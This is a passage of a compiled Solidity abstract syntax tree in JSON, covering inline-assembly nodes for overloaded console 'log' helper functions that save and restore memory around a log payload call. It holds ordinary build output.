17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304586:4:22","nodeType":"YulLiteral","src":"304586:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"304580:5:22","nodeType":"YulIdentifier","src":"304580:5:22"},"nativeSrc":"304580:11:22","nodeType":"YulFunctionCall","src":"304580:11:22"},"variableNames":[{"name":"m2","nativeSrc":"304574:2:22","nodeType":"YulIdentifier","src":"304574:2:22"}]},{"nativeSrc":"304604:17:22","nodeType":"YulAssignment","src":"304604:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304616:4:22","nodeType":"YulLiteral","src":"304616:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"304610:5:22","nodeType":"YulIdentifier","src":"304610:5:22"},"nativeSrc":"304610:11:22","nodeType":"YulFunctionCall","src":"304610:11:22"},"variableNames":[{"name":"m3","nativeSrc":"304604:2:22","nodeType":"YulIdentifier","src":"304604:2:22"}]},{"nativeSrc":"304634:17:22","nodeType":"YulAssignment","src":"304634:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304646:4:22","nodeType":"YulLiteral","src":"304646:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"304640:5:22","nodeType":"YulIdentifier","src":"304640:5:22"},"nativeSrc":"304640:11:22","nodeType":"YulFunctionCall","src":"304640:11:22"},"variableNames":[{"name":"m4","nativeSrc":"304634:2:22","nodeType":"YulIdentifier","src":"304634:2:22"}]},{"nativeSrc":"304664:17:22","nodeType":"YulAssignment","src":"304664:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304676:4:22","nodeType":"YulLiteral","src":"304676:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"304670:5:22","nodeType":"YulIdentifier","src":"304670:5:22"},"nativeSrc":"304670:11:22","nodeType":"YulFunctionCall","src":"304670:11:22"},"variableNames":[{"name":"m5","nativeSrc":"304664:2:22","nodeType":"YulIdentifier","src":"304664:2:22"}]},{"nativeSrc":"304694:17:22","nodeType":"YulAssignment","src":"304694:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"304706:4:22","nodeType":"YulLiteral","src":"304706:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"304700:5:22","nodeType":"YulIdentifier","src":"304700:5:22"},"nativeSrc":"304700:11:22","nodeType":"YulFunctionCall","src":"304700:11:22"},"variableNames":[{"name":"m6","nativeSrc":"304694:2:22","nodeType":"YulIdentifier","src":"304694:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"304794:4:22","nodeType":"YulLiteral","src":"304794:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"304800:10:22","nodeType":"YulLiteral","src":"304800:10:22","type":"","value":"0xb59dbd60"}],"functionName":{"name":"mstore","nativeSrc":"304787:6:22","nodeType":"YulIdentifier","src":"304787:6:22"},"nativeSrc":"304787:24:22","nodeType":"YulFunctionCall","src":"304787:24:22"},"nativeSrc":"304787:24:22","nodeType":"YulExpressionStatement","src":"304787:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"304831:4:22","nodeType":"YulLiteral","src":"304831:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"304837:4:22","nodeType":"YulLiteral","src":"304837:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"304824:6:22","nodeType":"YulIdentifier","src":"304824:6:22"},"nativeSrc":"304824:18:22","nodeType":"YulFunctionCall","src":"304824:18:22"},"nativeSrc":"304824:18:22","nodeType":"YulExpressionStatement","src":"304824:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"304862:4:22","nodeType":"YulLiteral","src":"304862:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"304868:2:22","nodeType":"YulIdentifier","src":"304868:2:22"}],"functionName":{"name":"mstore","nativeSrc":"304855:6:22","nodeType":"YulIdentifier","src":"304855:6:22"},"nativeSrc":"304855:16:22","nodeType":"YulFunctionCall","src":"304855:16:22"},"nativeSrc":"304855:16:22","nodeType":"YulExpressionStatement","src":"304855:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"304891:4:22","nodeType":"YulLiteral","src":"304891:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"304897:2:22","nodeType":"YulIdentifier","src":"304897:2:22"}],"functionName":{"name":"mstore","nativeSrc":"304884:6:22","nodeType":"YulIdentifier","src":"304884:6:22"},"nativeSrc":"304884:16:22","nodeType":"YulFunctionCall","src":"304884:16:22"},"nativeSrc":"304884:16:22","nodeType":"YulExpressionStatement","src":"304884:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"304920:4:22","nodeType":"YulLiteral","src":"304920:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"304926:2:22","nodeType":"YulIdentifier","src":"304926:2:22"}],"functionName":{"name":"mstore","nativeSrc":"304913:6:22","nodeType":"YulIdentifier","src":"304913:6:22"},"nativeSrc":"304913:16:22","nodeType":"YulFunctionCall","src":"304913:16:22"},"nativeSrc":"304913:16:22","nodeType":"YulExpressionStatement","src":"304913:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"304954:4:22","nodeType":"YulLiteral","src":"304954:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"304960:2:22","nodeType":"YulIdentifier","src":"304960:2:22"}],"functionName":{"name":"writeString","nativeSrc":"304942:11:22","nodeType":"YulIdentifier","src":"304942:11:22"},"nativeSrc":"304942:21:22","nodeType":"YulFunctionCall","src":"304942:21:22"},"nativeSrc":"304942:21:22","nodeType":"YulExpressionStatement","src":"304942:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43790,"isOffset":false,"isSlot":false,"src":"304514:2:22","valueSize":1},{"declaration":43793,"isOffset":false,"isSlot":false,"src":"304544:2:22","valueSize":1},{"declaration":43796,"isOffset":false,"isSlot":false,"src":"304574:2:22","valueSize":1},{"declaration":43799,"isOffset":false,"isSlot":false,"src":"304604:2:22","valueSize":1},{"declaration":43802,"isOffset":false,"isSlot":false,"src":"304634:2:22","valueSize":1},{"declaration":43805,"isOffset":false,"isSlot":false,"src":"304664:2:22","valueSize":1},{"declaration":43808,"isOffset":false,"isSlot":false,"src":"304694:2:22","valueSize":1},{"declaration":43780,"isOffset":false,"isSlot":false,"src":"304960:2:22","valueSize":1},{"declaration":43782,"isOffset":false,"isSlot":false,"src":"304868:2:22","valueSize":1},{"declaration":43784,"isOffset":false,"isSlot":false,"src":"304897:2:22","valueSize":1},{"declaration":43786,"isOffset":false,"isSlot":false,"src":"304926:2:22","valueSize":1}],"id":43810,"nodeType":"InlineAssembly","src":"304136:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":43812,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"304998:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":43813,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"305004:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":43811,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"304982:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":43814,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"304982:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":43815,"nodeType":"ExpressionStatement","src":"304982:27:22"},{"AST":{"nativeSrc":"305028:214:22","nodeType":"YulBlock","src":"305028:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"305049:4:22","nodeType":"YulLiteral","src":"305049:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"305055:2:22","nodeType":"YulIdentifier","src":"305055:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305042:6:22","nodeType":"YulIdentifier","src":"305042:6:22"},"nativeSrc":"305042:16:22","nodeType":"YulFunctionCall","src":"305042:16:22"},"nativeSrc":"305042:16:22","nodeType":"YulExpressionStatement","src":"305042:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"305078:4:22","nodeType":"YulLiteral","src":"305078:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"305084:2:22","nodeType":"YulIdentifier","src":"305084:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305071:6:22","nodeType":"YulIdentifier","src":"305071:6:22"},"nativeSrc":"305071:16:22","nodeType":"YulFunctionCall","src":"305071:16:22"},"nativeSrc":"305071:16:22","nodeType":"YulExpressionStatement","src":"305071:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"305107:4:22","nodeType":"YulLiteral","src":"305107:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"305113:2:22","nodeType":"YulIdentifier","src":"305113:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305100:6:22","nodeType":"YulIdentifier","src":"305100:6:22"},"nativeSrc":"305100:16:22","nodeType":"YulFunctionCall","src":"305100:16:22"},"nativeSrc":"305100:16:22","nodeType":"YulExpressionStatement","src":"305100:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"305136:4:22","nodeType":"YulLiteral","src":"305136:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"305142:2:22","nodeType":"YulIdentifier","src":"305142:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305129:6:22","nodeType":"YulIdentifier","src":"305129:6:22"},"nativeSrc":"305129:16:22","nodeType":"YulFunctionCall","src":"305129:16:22"},"nativeSrc":"305129:16:22","nodeType":"YulExpressionStatement","src":"305129:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"305165:4:22","nodeType":"YulLiteral","src":"305165:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"305171:2:22","nodeType":"YulIdentifier","src":"305171:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305158:6:22","nodeType":"YulIdentifier","src":"305158:6:22"},"nativeSrc":"305158:16:22","nodeType":"YulFunctionCall","src":"305158:16:22"},"nativeSrc":"305158:16:22","nodeType":"YulExpressionStatement","src":"305158:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"305194:4:22","nodeType":"YulLiteral","src":"305194:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"305200:2:22","nodeType":"YulIdentifier","src":"305200:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305187:6:22","nodeType":"YulIdentifier","src":"305187:6:22"},"nativeSrc":"305187:16:22","nodeType":"YulFunctionCall","src":"305187:16:22"},"nativeSrc":"305187:16:22","nodeType":"YulExpressionStatement","src":"305187:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"305223:4:22","nodeType":"YulLiteral","src":"305223:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"305229:2:22","nodeType":"YulIdentifier","src":"305229:2:22"}],"functionName":{"name":"mstore","nativeSrc":"305216:6:22","nodeType":"YulIdentifier","src":"305216:6:22"},"nativeSrc":"305216:16:22","nodeType":"YulFunctionCall","src":"305216:16:22"},"nativeSrc":"305216:16:22","nodeType":"YulExpressionStatement","src":"305216:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":43790,"isOffset":false,"isSlot":false,"src":"305055:2:22","valueSize":1},{"declaration":43793,"isOffset":false,"isSlot":false,"src":"305084:2:22","valueSize":1},{"declaration":43796,"isOffset":false,"isSlot":false,"src":"305113:2:22","valueSize":1},{"declaration":43799,"isOffset":false,"isSlot":false,"src":"305142:2:22","valueSize":1},{"declaration":43802,"isOffset":false,"isSlot":false,"src":"305171:2:22","valueSize":1},{"declaration":43805,"isOffset":false,"isSlot":false,"src":"305200:2:22","valueSize":1},{"declaration":43808,"isOffset":false,"isSlot":false,"src":"305229:2:22","valueSize":1}],"id":43816,"nodeType":"InlineAssembly","src":"305019:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"303923:3:22","parameters":{"id":43787,"nodeType":"ParameterList","parameters":[{"constant":false,"id":43780,"mutability":"mutable","name":"p0","nameLocation":"303935:2:22","nodeType":"VariableDeclaration","scope":43818,"src":"303927:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43779,"name":"bytes32","nodeType":"ElementaryTypeName","src":"303927:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":43782,"mutability":"mutable","name":"p1","nameLocation":"303947:2:22","nodeType":"VariableDeclaration","scope":43818,"src":"303939:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43781,"name":"address","nodeType":"ElementaryTypeName","src":"303939:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43784,"mutability":"mutable","name":"p2","nameLocation":"303959:2:22","nodeType":"VariableDeclaration","scope":43818,"src":"303951:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":43783,"name":"address","nodeType":"ElementaryTypeName","src":"303951:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":43786,"mutability":"mutable","name":"p3","nameLocation":"303968:2:22","nodeType":"VariableDeclaration","scope":43818,"src":"303963:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":43785,"name":"bool","nodeType":"ElementaryTypeName","src":"303963:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"303926:45:22"},"returnParameters":{"id":43788,"nodeType":"ParameterList","parameters":[],"src":"303986:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":43858,"nodeType":"FunctionDefinition","src":"305254:1340:22","nodes":[],"body":{"id":43857,"nodeType":"Block","src":"305329:1265:22","nodes":[],"statements":[{"assignments":[43830],"declarations":[{"constant":false,"id":43830,"mutability":"mutable","name":"m0","nameLocation":"305347:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305339:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43829,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305339:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43831,"nodeType":"VariableDeclarationStatement","src":"305339:10:22"},{"assignments":[43833],"declarations":[{"constant":false,"id":43833,"mutability":"mutable","name":"m1","nameLocation":"305367:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305359:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43832,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305359:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43834,"nodeType":"VariableDeclarationStatement","src":"305359:10:22"},{"assignments":[43836],"declarations":[{"constant":false,"id":43836,"mutability":"mutable","name":"m2","nameLocation":"305387:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305379:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43835,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305379:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43837,"nodeType":"VariableDeclarationStatement","src":"305379:10:22"},{"assignments":[43839],"declarations":[{"constant":false,"id":43839,"mutability":"mutable","name":"m3","nameLocation":"305407:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305399:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43838,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305399:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43840,"nodeType":"VariableDeclarationStatement","src":"305399:10:22"},{"assignments":[43842],"declarations":[{"constant":false,"id":43842,"mutability":"mutable","name":"m4","nameLocation":"305427:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305419:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43841,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305419:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43843,"nodeType":"VariableDeclarationStatement","src":"305419:10:22"},{"assignments":[43845],"declarations":[{"constant":false,"id":43845,"mutability":"mutable","name":"m5","nameLocation":"305447:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305439:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43844,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305439:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43846,"nodeType":"VariableDeclarationStatement","src":"305439:10:22"},{"assignments":[43848],"declarations":[{"constant":false,"id":43848,"mutability":"mutable","name":"m6","nameLocation":"305467:2:22","nodeType":"VariableDeclaration","scope":43857,"src":"305459:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":43847,"name":"bytes32","nodeType":"ElementaryTypeName","src":"305459:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":43849,"nodeType":"VariableDeclarationStatement","src":"305459:10:22"},{"AST":{"nativeSrc":"305488:831:22","nodeType":"YulBlock","src":"305488:831:22","statements":[{"body":{"nativeSrc":"305531:313:22","nodeType":"YulBlock","src":"305531:313:22","statements":[{"nativeSrc":"305549:15:22","nodeType":"YulVariableDeclaration","src":"305549:15:22","value":{"kind":"number","nativeSrc":"305563:1:22","nodeType":"YulLiteral","src":"305563:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"305553:6:22","nodeType":"YulTypedName","src":"305553:6:22","type":""}]},{"body":{"nativeSrc":"305634:40:22","nodeType":"YulBlock","src":"305634:40:22","statements":[{"body":{"nativeSrc":"305663:9:22","nodeType":"YulBlock","src":"305663:9:22","statements":[{"nativeSrc":"305665:5:22","nodeType":"YulBreak","src":"305665:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"305651:6:22","nodeType":"YulIdentifier","src":"305651:6:22"},{"name":"w","nativeSrc":"305659:1:22","nodeType":"YulIdentifier","src":"305659:1:22"}],"functionName":{"name":"byte","nativeSrc":"305646:4:22","nodeType":"YulIdentifier","src":"305646:4:22"},"nativeSrc":"305646:15:22","nodeType":"YulFunctionCall","src":"305646:15:22"}],"functionName":{"name":"iszero","nativeSrc":"305639:6:22","nodeType":"YulIdentifier","src":"305639:6:22"},"nativeSrc":"305639:23:22","nodeType":"YulFunctionCall","src":"305639:23:22"},"nativeSrc":"305636:36:22","nodeType":"YulIf","src":"305636:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"305591:6:22","nodeType":"YulIdentifier","src":"305591:6:22"},{"kind":"number","nativeSrc":"305599:4:22","nodeType":"YulLiteral","src":"305599:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"305588:2:22","nodeType":"YulIdentifier","src":"305588:2:22"},"nativeSrc":"305588:16:22","nodeType":"YulFunctionCall","src":"305588:16:22"},"nativeSrc":"305581:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"305605:28:22","nodeType":"YulBlock","src":"305605:28:22","statements":[{"nativeSrc":"305607:24:22","nodeType":"YulAssignment","src":"305607:24:22","value":{"arguments":[{"name":"length","nativeSrc":"305621:6:22","nodeType":"YulIdentifier","src":"305621:6:22"},{"kind":"number","nativeSrc":"305629:1:22","nodeType":"YulLiteral","src":"305629:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"305617:3:22","nodeType":"YulIdentifier","src":"305617:3:22"},"nativeSrc":"305617:14:22","nodeType":"YulFunctionCall","src":"305617:14:22"},"variableNames":[{"name":"length","nativeSrc":"305607:6:22","nodeType":"YulIdentifier","src":"305607:6:22"}]}]},"pre":{"nativeSrc":"305585:2:22","nodeType":"YulBlock","src":"305585:2:22","statements":[]},"src":"305581:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"305698:3:22","nodeType":"YulIdentifier","src":"305698:3:22"},{"name":"length","nativeSrc":"305703:6:22","nodeType":"YulIdentifier","src":"305703:6:22"}],"functionName":{"name":"mstore","nativeSrc":"305691:6:22","nodeType":"YulIdentifier","src":"305691:6:22"},"nativeSrc":"305691:19:22","nodeType":"YulFunctionCall","src":"305691:19:22"},"nativeSrc":"305691:19:22","nodeType":"YulExpressionStatement","src":"305691:19:22"},{"nativeSrc":"305727:37:22","nodeType":"YulVariableDeclaration","src":"305727:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"305744:3:22","nodeType":"YulLiteral","src":"305744:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"305753:1:22","nodeType":"YulLiteral","src":"305753:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"305756:6:22","nodeType":"YulIdentifier","src":"305756:6:22"}],"functionName":{"name":"shl","nativeSrc":"305749:3:22","nodeType":"YulIdentifier","src":"305749:3:22"},"nativeSrc":"305749:14:22","nodeType":"YulFunctionCall","src":"305749:14:22"}],"functionName":{"name":"sub","nativeSrc":"305740:3:22","nodeType":"YulIdentifier","src":"305740:3:22"},"nativeSrc":"305740:24:22","nodeType":"YulFunctionCall","src":"305740:24:22"},"variables":[{"name":"shift","nativeSrc":"305731:5:22","nodeType":"YulTypedName","src":"305731:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"305792:3:22","nodeType":"YulIdentifier","src":"305792:3:22"},{"kind":"number","nativeSrc":"305797:4:22","nodeType":"YulLiteral","src":"305797:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"305788:3:22","nodeType":"YulIdentifier","src":"305788:3:22"},"nativeSrc":"305788:14:22","nodeType":"YulFunctionCall","src":"305788:14:22"},{"arguments":[{"name":"shift","nativeSrc":"305808:5:22","nodeType":"YulIdentifier","src":"305808:5:22"},{"arguments":[{"name":"shift","nativeSrc":"305819:5:22","nodeType":"YulIdentifier","src":"305819:5:22"},{"name":"w","nativeSrc":"305826:1:22","nodeType":"YulIdentifier","src":"305826:1:22"}],"functionName":{"name":"shr","nativeSrc":"305815:3:22","nodeType":"YulIdentifier","src":"305815:3:22"},"nativeSrc":"305815:13:22","nodeType":"YulFunctionCall","src":"305815:13:22"}],"functionName":{"name":"shl","nativeSrc":"305804:3:22","nodeType":"YulIdentifier","src":"305804:3:22"},"nativeSrc":"305804:25:22","nodeType":"YulFunctionCall","src":"305804:25:22"}],"functionName":{"name":"mstore","nativeSrc":"305781:6:22","nodeType":"YulIdentifier","src":"305781:6:22"},"nativeSrc":"305781:49:22","nodeType":"YulFunctionCall","src":"305781:49:22"},"nativeSrc":"305781:49:22","nodeType":"YulExpressionStatement","src":"305781:49:22"}]},"name":"writeString","nativeSrc":"305502:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"305523:3:22","nodeType":"YulTypedName","src":"305523:3:22","type":""},{"name":"w","nativeSrc":"305528:1:22","nodeType":"YulTypedName","src":"305528:1:22","type":""}],"src":"305502:342:22"},{"nativeSrc":"305857:17:22","nodeType":"YulAssignment","src":"305857:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"305869:4:22","nodeType":"YulLiteral","src":"305869:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"305863:5:22","nodeType":"YulIdentifier","src":"305863:5:22"},"nativeSrc":"305863:11:22","nodeType":"YulFunctionCall","src":"305863:11:22"},"variableNames":[{"name":"m0","nativeSrc":"305857:2:22","nodeType":"YulIdentifier","src":"305857:2:22"}]},{"nativeSrc":"305887:17:22","nodeType":"YulAssignment","src":"305887:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"305899:4:22","nodeType":"YulLiteral","src":"305899:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"305893:5:22","nodeType":"YulIdentifier","src":"305893:5:22"},"nativeSrc":"305893:11:22","nodeType":"YulFunctionCall","src":"305893:11:22"},"variableNames":[{"name":"m1","nativeSrc":"305887:2:22","nodeType":"YulIdentifier","src":"305887:2:22"}]},{"nativeSrc":"305917:17:22","nodeType":"YulAssignment","src":"305917:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"305929:4:22","nodeType":"YulLiteral","src":"305929:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"305923:5:22","nodeType":"YulIdentifier","src":"305923:5:22"},"nativeSrc":"305923:11:22","nodeType":"YulFunctionCall","src":"305923:11:22"},"variableNames":[{"name":"m2","nativeSrc":"305917:2:22","nodeType":"YulIdentifier","src":"305917:2:22"}]},{"nativeSrc":"305947:17:22","nodeType":"YulAssignment","src":"305947:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"305959:4:22","nodeType":"YulLiteral","src":"305959:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"305953:5:22","nodeType":"YulIdentifier","src":"305953:5:22"},"nativeSrc":"305953:11:22","nodeType":"YulFunctionCall","src":"305953:11:22"},"variableNames":[{"name":"m3","nativeSrc":"305947:2:22","nodeType":"YulIdentifier","src":"305947:2:22"}]},{"nativeSrc":"305977:17:22","nodeType":"YulAssignment","src":"305977:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"305989:4:22","nodeType":"YulLiteral","src":"305989:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"305983:5:22","nodeType":"YulIdentifier","src":"305983:5:22"},"nativeSrc":"305983:11:22","nodeType":"YulFunctionCall","src":"305983:11:22"},"variableNames":[{"name":"m4","nativeSrc":"305977:2:22","nodeType":"YulIdentifier","src":"305977:2:22"}]},{"nativeSrc":"306007:17:22","nodeType":"YulAssignment","src":"306007:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"306019:4:22","nodeType":"YulLiteral","src":"306019:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"306013:5:22","nodeType":"YulIdentifier","src":"306013:5:22"},"nativeSrc":"306013:11:22","nodeType":"YulFunctionCall","src":"306013:11:22"},"variableNames":[{"name":"m5","nativeSrc":"306007:2:22","nodeType":"YulIdentifier","src":"306007:2:22"}]},{"nativeSrc":"306037:17:22","nodeType":"YulAssignment","src":"306037:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"306049:4:22","nodeType":"YulLiteral","src":"306049:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"306043:5:22","nodeType":"YulIdentifier","src":"306043:5:22"},"nativeSrc":"306043:11:22","nodeType":"YulFunctionCall","src":"306043:11:22"},"variableNames":[{"name":"m6","nativeSrc":"306037:2:22","nodeType":"YulIdentifier","src":"306037:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306140:4:22","nodeType":"YulLiteral","src":"306140:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"306146:10:22","nodeType":"YulLiteral","src":"306146:10:22","type":"","value":"0x8ef3f399"}],"functionName":{"name":"mstore","nativeSrc":"306133:6:22","nodeType":"YulIdentifier","src":"306133:6:22"},"nativeSrc":"306133:24:22","nodeType":"YulFunctionCall","src":"306133:24:22"},"nativeSrc":"306133:24:22","nodeType":"YulExpressionStatement","src":"306133:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306177:4:22","nodeType":"YulLiteral","src":"306177:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"306183:4:22","nodeType":"YulLiteral","src":"306183:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"306170:6:22","nodeType":"YulIdentifier","src":"306170:6:22"},"nativeSrc":"306170:18:22","nodeType":"YulFunctionCall","src":"306170:18:22"},"nativeSrc":"306170:18:22","nodeType":"YulExpressionStatement","src":"306170:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306208:4:22","nodeType":"YulLiteral","src":"306208:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"306214:2:22","nodeType":"YulIdentifier","src":"306214:2:22"}],"functionName":{"name":"mstore","nativeSrc":"306201:6:22","nodeType":"YulIdentifier","src":"306201:6:22"},"nativeSrc":"306201:16:22","nodeType":"YulFunctionCall","src":"306201:16:22"},"nativeSrc":"306201:16:22","nodeType":"YulExpressionStatement","src":"306201:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"306237:4:22","nodeType":"YulLiteral","src":"306237:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"306243:2:22","n